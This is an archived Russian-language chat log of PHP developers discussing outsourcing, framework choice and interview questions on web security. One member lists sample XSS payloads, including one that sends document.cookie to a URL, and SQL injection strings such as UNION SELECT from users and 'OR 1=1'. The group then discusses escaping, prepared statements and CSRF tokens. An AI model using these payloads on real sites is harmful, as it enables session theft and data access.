
Pavel
10.11.2016
20:05:41
Все может быть ;)
Я думал это госконтора какая-то

Grigori
10.11.2016
20:06:59
нет, не энтерпрайз
это мой паренек рассказывал из команды, он на аутсорсе был раньше

Google

Dmitry
10.11.2016
20:08:12
так там 500 или 500к

Grigori
10.11.2016
20:08:13
и обратные истории тоже знаю, когда люди заказывали у индусов решения за 500 долларов, и они работали
$500, сорри

Dmitry
10.11.2016
20:08:50
тогда на самом деле заказчик был в чем-то прав, а ошибка в том, что вовремя не определили проблему и не переписали... ну и к тому же, друпал в общем не так плох по запросам, так что не факт, что yii дал адский прирост

Grigori
10.11.2016
20:08:54
не тысяч, просто 500 долларов
@miksir друпал именно что адски плох по базе

Dmitry
10.11.2016
20:09:21
а могло быть наоборот, ноль посещаймости и 4к в трубу... и делал бы он дольше, наверняка
ну не знаю... по сравнению с битриком... ;)

Grigori
10.11.2016
20:09:35
там нормально делать по 10 тысяч запросов на отрисовку страницы
безусловно, могло быть и наоборот - деньги на ветер, это вопрос другого плана

Dmitry
10.11.2016
20:10:51
опять же, я делал стартап где менеджеры сказали проектное 100к (условно)... вон до сих пор стопка серверов, оптические свитчи и корзины валяются... никому не нужные ;)

Grigori
10.11.2016
20:11:41
для этого придумали облака, MVP и микросервисы

Dmitry
10.11.2016
20:11:52
тогда еще не особо.... лет 12 назад было

Google

Dmitry
10.11.2016
20:12:26
а потом, облака на больших объемах дороже своего оборудования

Grigori
10.11.2016
20:12:42
из облака можно выйти на свое железо
если не привязываться к специфике облака

Dmitry
10.11.2016
20:15:18
Можно, так и код можно написать на друпале и переписать потом... ну условно. Тут скорее вопрос в вере в адекватность менеджмента, который 100к вещает
и наличии собственного специалиста, способного быстро ставить костыли, пока переписывается, переезжает и т.п. ;)
а купишь облако, проект взлетит, придет от облака счет на 100500, и опять ты виноват, что сразу не закупил свое железо, хотя менеджеры тебе говорили - 100к будет ;)
но в общем это, конечно, граничные случаи, не так и и много... так что теория, скорее...

dypa
10.11.2016
20:27:18


Dmitry
10.11.2016
20:31:28
а проектирование - это не только про качество кода
а конверсия - она вообще к IT отношения не имеет... если проект приносит кучу - это не значит, что можно платить сколько угодно за то, за что можно платить меньше

dypa
10.11.2016
20:37:06
короче мы про комплексный подход к разработке разными словами...

Don
10.11.2016
21:39:53
Ребят, никогда не работал с фреймворками php( какой посоветует начать осваивать ?
Именно для Объектно ориентировочного подхода и с максимальной производительностью

Pavel
10.11.2016
22:03:42
Ориентировочно symfony3, yii2, laravel5

Salavat
10.11.2016
22:04:39

Pavel
10.11.2016
22:04:59
Ну и норм, чо
Мне тоже с трудом давалось

Salavat
10.11.2016
22:09:55
Я к тому - чо стартовать с нее не сложно будет,

Google

Salavat
10.11.2016
22:09:56
?

Pavel
10.11.2016
22:10:55
Ну человек же хочет ооп, а сф3 это самая ооп из ооп фреймворка
Оопшнее толко zf, но он не нужен

Salavat
10.11.2016
22:23:56
ну здесь согласен

Don
11.11.2016
04:58:26
Спасибо

dypa
11.11.2016
07:11:06

Aztwin LK
11.11.2016
07:20:21
А есл сразу начать осваивать yii2?

Denis
11.11.2016
07:22:36
ну если ты знаешь нормально пхп, что такое ооп (лол), есть хотя бы немного понимания как лучше делать и как не стоит, то почему бы и нет?)

dypa
11.11.2016
07:23:12

Denis
11.11.2016
07:24:39

dypa
11.11.2016
07:26:17
м? в смысле
в прямом. собеседуемые путают клиент и сервер, типы данных, не могут в строгое сравнение, не могут рассказать про магические методы и тд

Salavat
11.11.2016
07:26:30

Denis
11.11.2016
07:27:02
?

dypa
11.11.2016
07:27:10

Salavat
11.11.2016
07:28:00

dypa
11.11.2016
07:28:15

Denis
11.11.2016
07:29:06
ну вот что за детские вопросы)

Google

dypa
11.11.2016
07:30:25

Denis
11.11.2016
07:31:29
я правда на другом мы проебался) там тестирование и прочая фигня)

dypa
11.11.2016
07:32:14
тестирование чего?

Salavat
11.11.2016
07:32:29
xss в инпуте "><script>alert();</script>
`"><script>document.write("<img src='path?cookie=" + document.cookie + ">")</script>
"><iframe src=...>

Denis
11.11.2016
07:33:42
тестирование чего?
ну я ни разу не писал тесты. то сть codeception/phpunit мимо) selenium тоже не трогал)

Salavat
11.11.2016
07:34:10
SQL-инъекции из серии: ?id=1+UNION+SELECT+1,1,1,1+FROM+users
Ну или в инпуте с паролем: password OR 1=1

dypa
11.11.2016
07:36:19

Denis
11.11.2016
07:36:53
не, я к тому что я не выебываюсь и сам много не знаю)

dypa
11.11.2016
07:36:54

Salavat
11.11.2016
07:37:37

Denis
11.11.2016
07:38:15
?

dypa
11.11.2016
07:38:24
а как проверять данные?

Denis
11.11.2016
07:38:25
кстати такое я реально видел)

Salavat
11.11.2016
07:40:02

dypa
11.11.2016
07:41:55
я ожидал услышать слова "экранирование, плейсхолдеры" для sql

Denis
11.11.2016
07:42:12
и кстати раз мы это затронули. если использовать пдо и сделать запрос вида
$sql = '.... where id = :id';
$sth = $pdo->prepare($sql)
$sth->bindParam(':id', $_GET['id'], PDO::PARAM_INT);
считается ли это безопасным?)

Salavat
11.11.2016
07:42:16
Кстати, наверное, к XSS еще относится и следующая ошибка (а может и нет): когда мы редактируем профиль и в нем есть скрытое поле - user_id. И при сохранении мы обновляем данные этого пользователя просто по указанному в форме user_id.
Здесь как вариант - либо вообще не указывать и брать данные из сессии/куки (но так как куки можно подделать), использовать csrf / подпись. то есть генерировать еще один элемент token, например. И хешировать его с нужным нам значением

Google

Denis
11.11.2016
07:42:53
просто я изъянов не вижу, один фиг в запрос инт упадет)
но я хз)

Salavat
11.11.2016
07:43:02

dypa
11.11.2016
07:43:07

Denis
11.11.2016
07:43:17
ну вот и решили)

Salavat
11.11.2016
07:44:54
а у меня другой вопрос по этим биндам ) Чем отличается bindParam от bindValue ?

Denis
11.11.2016
07:45:45
Связывает PHP переменную с именованным или неименованным параметром подготавливаемого SQL запроса. В отличие от PDOStatement::bindValue(), переменная привязывается по ссылке, и ее значение будет вычисляться во время вызова PDOStatement::execute().
RTFM

dypa
11.11.2016
07:45:58
сигнатуры методов разные

Salavat
11.11.2016
07:46:36
RTFM
Вопрос в другом - вот ты знал это?)
Просто я несколько лет назад столкнулся с этим и долго не мог понять почему не происходит нужного действия, пока не открыл FM :)

Denis
11.11.2016
07:47:04
не знал) я загугил
?

Salavat
11.11.2016
07:47:51
Ну просто когда мне рассказывали про PDO на собеседованиях (которые я проводил) - я задавал этот вопрос. И никто еще правильно не ответил, все говорили что это функции-синонимы.
Да и говорю же, сам не знал - пока не столкнулся.

Denis
11.11.2016
07:48:40
ну спасибо тебе, я теперь знаю хоть и не сталкивался с этим)

Salavat
11.11.2016
07:52:01
Пожалуйста )

dypa
11.11.2016
07:57:35
Да и говорю же, сам не знал - пока не столкнулся.
в php так во многом, поэтому приходится задавать "детские вопросы" чтобы понять понимание человека вообще области, а потом уже если требуется - можно углубляться в конкретику.
причем многое из конкретики легко даже сеньор может не помнить.
сеньоров вообще сложнее собеседовать чем джунов, они уже мало сам пхп помнят